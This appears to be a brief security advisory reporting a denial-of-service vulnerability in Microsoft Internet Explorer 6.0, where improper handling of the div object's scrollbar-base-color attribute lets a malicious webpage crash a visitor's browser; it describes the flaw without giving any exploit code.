It has been reported that Microsoft Internet Explorer is prone to a vulnerability that may allow an attacker to cause a denial of service condition in the software. The problem occurs due to improper handling of scrollbar-base-color attribute of the div object.

Successful exploitation of this issue may allow an attacker to create a webpage containing malicious script code that would cause a user's browser to crash upon visiting the site.

Microsoft Internet Explorer 6.0 has been reported to be vulnerable to this issue, however other versions may be affected as well.
